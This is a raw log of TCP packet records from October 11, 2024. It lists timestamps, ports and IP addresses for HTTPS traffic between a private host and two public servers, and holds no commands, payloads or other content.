Oct 11, 2024 15:53:48.707202911 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.707246065 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.707262993 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.707592010 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.707612038 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.707640886 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.707657099 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.707703114 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.710763931 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.710848093 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.710916996 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.710972071 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.711044073 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.711095095 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.711211920 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.711221933 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.711678028 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.711728096 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.711734056 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.712662935 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.712692976 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.712851048 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.712876081 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.716835022 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.716881037 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.717133045 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.717149973 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.717159033 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.717186928 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.741446972 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.741472960 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.741554976 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.741923094 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.741935968 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.762994051 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.763014078 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.795346022 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.795466900 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.795500040 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.795522928 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.795533895 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.795558929 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.795582056 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.796169996 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.796200991 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.796219110 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.796228886 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.796269894 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.796278000 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797045946 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797077894 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797095060 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.797103882 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797142029 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797146082 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.797154903 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.797214985 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.798042059 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798075914 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798091888 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798118114 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.798127890 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798166037 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.798784018 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798815966 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.798856020 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.798866034 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.799283981 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.799329996 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.799339056 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.801752090 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.801841021 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.801884890 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.801891088 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.801907063 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802071095 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.802078962 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802164078 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802200079 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.802203894 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802216053 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802252054 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.802288055 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802954912 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.802994013 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.802999020 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803016901 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803056002 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.803116083 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803670883 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803716898 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.803725004 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803905010 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803942919 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803945065 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.803955078 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.803988934 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.803999901 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804570913 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804610968 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.804617882 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804645061 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804681063 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.804681063 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804692984 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804730892 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.804735899 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804792881 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.804836035 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.805033922 CEST	49716	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.805043936 CEST	443	49716	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.842207909 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.842225075 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.861566067 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:48.863158941 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:48.863220930 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:48.864841938 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:48.864917994 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:48.868928909 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:48.869014025 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:48.883958101 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.883990049 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.884010077 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.884016991 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.884027958 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.884052992 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.884083033 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.884090900 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.884130001 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.884144068 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885020971 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885068893 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.885070086 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885081053 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885122061 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.885154963 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885204077 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.885212898 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.885256052 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.885977030 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886020899 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886024952 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.886034012 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886064053 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.886076927 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.886878967 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886928082 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886934042 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.886946917 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.886972904 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.886982918 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.887773991 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.887799978 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.887816906 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.887825012 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.887836933 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.887860060 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.888465881 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.888520956 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.888590097 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.888638973 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.889452934 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.889483929 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.889503002 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.889509916 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.889523029 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.889544964 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.913026094 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:48.913037062 CEST	443	49718	142.250.186.68	192.168.2.17
Oct 11, 2024 15:53:48.967230082 CEST	49718	443	192.168.2.17	142.250.186.68
Oct 11, 2024 15:53:48.972409964 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.972482920 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.972611904 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.972687006 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.972716093 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.972748041 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.972764969 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.972774982 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.972790003 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.972815037 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973079920 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973123074 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973134995 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973141909 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973170042 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973203897 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973612070 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973640919 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973665953 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973673105 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973694086 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973710060 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973715067 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973722935 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973745108 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973757029 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973766088 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.973779917 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.973807096 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974508047 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974564075 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974611998 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974637985 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974663973 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974667072 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974695921 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974700928 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974744081 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974751949 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974766016 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974807024 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974831104 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974847078 CEST	443	49717	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.974858999 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.974895000 CEST	49717	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.979547024 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.979576111 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:48.979631901 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.979933977 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:48.979947090 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.211719036 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.211975098 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.211993933 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.213191986 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.213466883 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.213593006 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.213598013 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.213641882 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.254224062 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.377644062 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.377763033 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.377809048 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.377824068 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.377924919 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.377965927 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.377971888 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378110886 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378145933 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.378151894 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378264904 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378304005 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.378309965 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378416061 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.378453970 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.378459930 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.382704973 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.382752895 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.382759094 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.430222034 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.445247889 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.465858936 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.465900898 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.465919971 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.465929985 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.465971947 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.465972900 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.466002941 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.466047049 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.466140032 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.466195107 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.466226101 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.466231108 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.466272116 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.466305017 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.466310024 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467129946 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467176914 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.467181921 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467668056 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467700958 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467713118 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.467720032 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467751026 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.467756033 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467814922 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467842102 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467849016 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.467854977 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.467885017 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.468699932 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.481162071 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.481410980 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.481455088 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.482541084 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.482873917 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.483022928 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.483035088 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.483055115 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.509232044 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.509238005 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.524228096 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.533530951 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.533592939 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.533597946 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.533615112 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.533654928 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.533663988 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555442095 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555479050 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555501938 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.555514097 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555552006 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.555720091 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555733919 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.555777073 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.556714058 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.556725025 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.556762934 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.556768894 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.556786060 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.556838989 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.556844950 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.556883097 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558142900 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558177948 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558201075 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558207035 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558228970 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558248997 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558748960 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558784962 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558796883 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558801889 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.558826923 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.558844090 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.559222937 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.559281111 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.559329033 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.559374094 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.560594082 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.560632944 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.560656071 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.560661077 CEST	443	49719	104.18.94.41	192.168.2.17
